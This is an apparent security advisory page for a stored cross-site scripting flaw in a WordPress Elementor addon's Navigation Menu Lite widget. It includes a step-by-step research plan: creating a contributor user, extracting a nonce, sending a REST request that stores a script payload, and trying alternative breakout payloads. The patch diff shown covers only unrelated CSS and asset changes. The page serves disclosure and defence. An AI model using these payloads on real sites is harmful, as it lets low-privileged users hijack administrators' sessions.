CVE-2026-5243

The Plus Addons for Elementor – Addons for Elementor, Page Templates, Widgets, Mega Menu, WooCommerce <= 6.4.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via Navigation Menu Lite Widget

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
6.4.12
Patched in
1d
Time to patch

Description

The The Plus Addons for Elementor – Addons for Elementor, Page Templates, Widgets, Mega Menu, WooCommerce plugin for WordPress is vulnerable to stored cross-site scripting via the `menu_hover_click` parameter of the Navigation Menu Lite widget in all versions up to, and including, 6.4.11 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.4.11
PublishedMay 13, 2026
Last updatedMay 14, 2026

What Changed in the Fix

Changes introduced in v6.4.12

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in **The Plus Addons for Elementor** (Navigation Menu Lite widget). The vulnerability allows a Contributor-level user to inject malicious scripts into the `menu_hover_click` parameter, which is then rendered without suffici…

Show full research plan

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in The Plus Addons for Elementor (Navigation Menu Lite widget). The vulnerability allows a Contributor-level user to inject malicious scripts into the menu_hover_click parameter, which is then rendered without sufficient sanitization.

1. Vulnerability Summary

  • Vulnerability ID: CVE-2026-5243
  • Vulnerability Type: Stored Cross-Site Scripting (XSS)
  • Affected Widget: Navigation Menu Lite (tp_navigation_menu_lite)
  • Vulnerable Parameter: menu_hover_click
  • Sink: The value of this parameter is echoed onto the page during the widget's render process (likely within a HTML attribute or a JavaScript configuration object) without proper escaping via esc_attr(), esc_js(), or wp_kses().

2. Attack Vector Analysis

  • Endpoint: WordPress REST API or Elementor AJAX API.
  • Action: save_builder_data (Elementor core action used to save widget settings).
  • Payload Parameter: _elementor_data (A JSON-encoded string representing the page content).
  • Required Authentication: Contributor or higher. Contributors can edit their own posts and use Elementor to add/configure widgets.
  • Preconditions: The "Navigation Menu Lite" widget must be enabled in the TPAE settings (it is enabled by default in tpae_db_default() in class-tpae-hooks.php).

3. Code Flow

  1. Storage: A Contributor user edits a post with Elementor. When they save the page, Elementor sends a request (usually via the REST API) containing a JSON blob in _elementor_data.
  2. Meta Update: WordPress/Elementor saves this JSON into the _elementor_data post meta field for that post.
  3. Rendering: When a user (e.g., an Admin) views the post:
    • Elementor's frontend renderer iterates through the widgets.
    • The tp_navigation_menu_lite widget's render() method is called.
    • The method retrieves the menu_hover_click setting from the stored JSON.
    • The value is printed directly to the HTML output to control menu behavior (hover vs. click).
  4. Execution: The unescaped payload executes in the victim's browser.

4. Nonce Acquisition Strategy

Elementor uses the standard WordPress REST API nonce (_wpnonce) or the Elementor-specific config nonce.

  1. Identify Shortcode: The Navigation Menu Lite widget is rendered via Elementor. No specific shortcode is needed, but we must ensure the widget is loaded in the editor.
  2. Create Page: Use wp-cli to create an empty post for the Contributor.
    wp post create --post_type=post --post_status=draft --post_author=CONTRIBUTOR_ID --post_title="XSS Test"
    
  3. Extract Nonce: Navigate to the Elementor Editor page for that post.
    • URL: /wp-admin/post.php?post=POST_ID&action=elementor
    • Tool: browser_eval
    • Variable: Elementor stores its configuration in window.elementorConfig.
    • JS Command: browser_eval("window.elementorConfig?.api?.nonce") or browser_eval("window.elementorConfig?.nonces?.save_builder").

5. Exploitation Strategy

We will use the REST API to update the post's Elementor data directly.

Step 1: Craft the Payload
The payload must be embedded inside the JSON structure Elementor uses. The widget slug is tp_navigation_menu_lite.

[
  {
    "id": "random_id",
    "elType": "section",
    "elements": [
      {
        "id": "random_id_2",
        "elType": "column",
        "elements": [
          {
            "id": "random_id_3",
            "elType": "widget",
            "widgetType": "tp_navigation_menu_lite",
            "settings": {
              "menu_hover_click": "\"><script>alert(document.domain)</script>"
            }
          }
        ]
      }
    ]
  }
]

Step 2: Submit the Update

  • Method: POST
  • URL: /wp-json/wp/v2/posts/POST_ID
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
    {
      "meta": {
        "_elementor_data": "[JSON_PAYLOAD_FROM_STEP_1]",
        "_elementor_edit_mode": "builder"
      }
    }
    

Step 3: Trigger the XSS
Navigate to the post's frontend URL (or the preview URL if it's a draft).

  • URL: /?p=POST_ID&preview=true

6. Test Data Setup

  1. Plugin Setup: Ensure "The Plus Addons for Elementor" is active.
  2. User Setup: Create a Contributor user.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  3. Widget Check: Verify tp_navigation_menu_lite is in the enabled list. In class-tpae-hooks.php, it is part of the tpae_db_default array.

7. Expected Results

  • The REST API request should return 200 OK.
  • When viewing the post, the HTML source should contain:
    ... menu_hover_click=""><script>alert(document.domain)</script>" ...
  • An alert box should appear in the browser.

8. Verification Steps

After the exploitation attempt, use wp-cli to verify the state:

  1. Check Meta: Confirm the payload was successfully stored.
    wp post meta get POST_ID _elementor_data
    
  2. Check Output: Use http_request to fetch the page and grep for the script tag.
    # (Metaphorical grep via the agent logic)
    # Search for "<script>alert(document.domain)</script>" in the response body.
    

9. Alternative Approaches

  • Attribute Breakout: If the menu_hover_click value is used inside a data- attribute or a class name, try: click" onmouseover="alert(1)" data-ignore=".
  • JSON Breakout: If the value is inside a script tag within a JSON object: "; alert(1); //.
  • Elementor AJAX: If the REST API is restricted, use the elementor_ajax action via admin-ajax.php.
    • Action: elementor_ajax
    • Data: actions={"save_builder_data":{"action":"save_builder_data","data":{"status":"draft","elements":[...]}}}
    • Nonce: _nonce from elementorConfig.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Navigation Menu Lite widget in The Plus Addons for Elementor is vulnerable to Stored Cross-Site Scripting via the 'menu_hover_click' parameter due to insufficient input sanitization and output escaping. This allows authenticated attackers with contributor-level permissions to inject arbitrary web scripts that execute whenever a user views the affected page.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/the-plus-addons-for-elementor-page-builder/6.4.11/assets/css/admin/theplus-ele-admin.css /home/deploy/wp-safety.org/data/plugin-versions/the-plus-addons-for-elementor-page-builder/6.4.12/assets/css/admin/theplus-ele-admin.css
--- /home/deploy/wp-safety.org/data/plugin-versions/the-plus-addons-for-elementor-page-builder/6.4.11/assets/css/admin/theplus-ele-admin.css	2026-03-25 05:21:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/the-plus-addons-for-elementor-page-builder/6.4.12/assets/css/admin/theplus-ele-admin.css	2026-04-08 10:42:26.000000000 +0000
@@ -332,9 +332,9 @@
 .tp-update-popup{position:fixed;top:0;left:0;width:100%;height:100%;background:rgb(0 0 0 / 33%);backdrop-filter:blur(4px);display:flex;justify-content:center;align-items:center;z-index:99999;visibility:visible;opacity:1;transition:all 0.3s ease}.tp-update-popup-inner{position:relative;width:70%;max-width:900px;background:#fff;border-radius:10px;padding:30px 20px 20px 20px;display:flex;flex-direction:column;aspect-ratio:16 / 9;box-shadow:0 10px 25px rgb(0 0 0 / .2)}.tp-update-popup-inner>.theplus-i-cross{position:absolute;font-weight:700;color:#000;right:2%;top:3%;cursor:pointer}.tp-popup-header{display:flex;justify-content:center;align-items:center;margin-bottom:25px;position:relative}.tp-popup-header h2{margin:0;font-size:20px}#tp-popup-close{cursor:pointer;font-size:24px;font-weight:700;color:#444}.tp-popup-body>iframe{border-radius:10px}
 
 /** Global Controller tp-logo css*/
-.elementor-panel-menu-item-tp-global-gradient-color,.elementor-panel-menu-item-tp-box-shadow-global,.elementor-panel-menu-item-tp-global-dimensions,.elementor-panel-menu-item-tp-global-button-styles{position: relative;}
+.elementor-panel-menu-item-tp-global-gradient-color,.elementor-panel-menu-item-tp-box-shadow-global,.elementor-panel-menu-item-tp-global-dimensions,.elementor-panel-menu-item-tp-global-button-styles,.elementor-panel-menu-item-tp-global-scroll-animation{position: relative;}
 
-.elementor-panel-menu-item-tp-global-gradient-color:before,.elementor-panel-menu-item-tp-box-shadow-global:before,.elementor-panel-menu-item-tp-global-dimensions:before,.elementor-panel-menu-item-tp-global-button-styles:before{
+.elementor-panel-menu-item-tp-global-gradient-color:before,.elementor-panel-menu-item-tp-box-shadow-global:before,.elementor-panel-menu-item-tp-global-dimensions:before,.elementor-panel-menu-item-tp-global-button-styles:before,.elementor-panel-menu-item-tp-global-scroll-animation:before{
     content: "";
     position: absolute;
     height: 23px;
@@ -347,4 +347,4 @@
     z-index: 1;
     border-radius: 15%;
     display: flex;
-}
\ No newline at end of file
+}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/the-plus-addons-for-elementor-page-builder/6.4.11/build/index.asset.php /home/deploy/wp-safety.org/data/plugin-versions/the-plus-addons-for-elementor-page-builder/6.4.12/build/index.asset.php
--- /home/deploy/wp-safety.org/data/plugin-versions/the-plus-addons-for-elementor-page-builder/6.4.11/build/index.asset.php	2026-03-25 05:21:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/the-plus-addons-for-elementor-page-builder/6.4.12/build/index.asset.php	2026-04-08 10:42:26.000000000 +0000
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-i18n'), 'version' => '3d8234a2df6ad4c7411e');
\ No newline at end of file
+<?php return array('dependencies' => array('react', 'react-dom', 'react-jsx-runtime', 'wp-i18n'), 'version' => 'e04436b9d03806958c94');
\ No newline at end of file
... (truncated)

Exploit Outline

1. Authenticate to the WordPress site with at least Contributor-level privileges. 2. Create or edit a post using the Elementor page builder. 3. Add the 'Navigation Menu Lite' widget (slug: tp_navigation_menu_lite) to the page layout. 4. In the widget's settings, locate the 'menu_hover_click' parameter and enter a malicious script payload (e.g., "><script>alert(document.domain)</script>"). 5. Save the page via Elementor's standard saving mechanism, which stores the payload within the post's '_elementor_data' metadata field. 6. Navigate to the published post's URL; the stored script will execute in the browser of any user (including administrators) who views the page.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.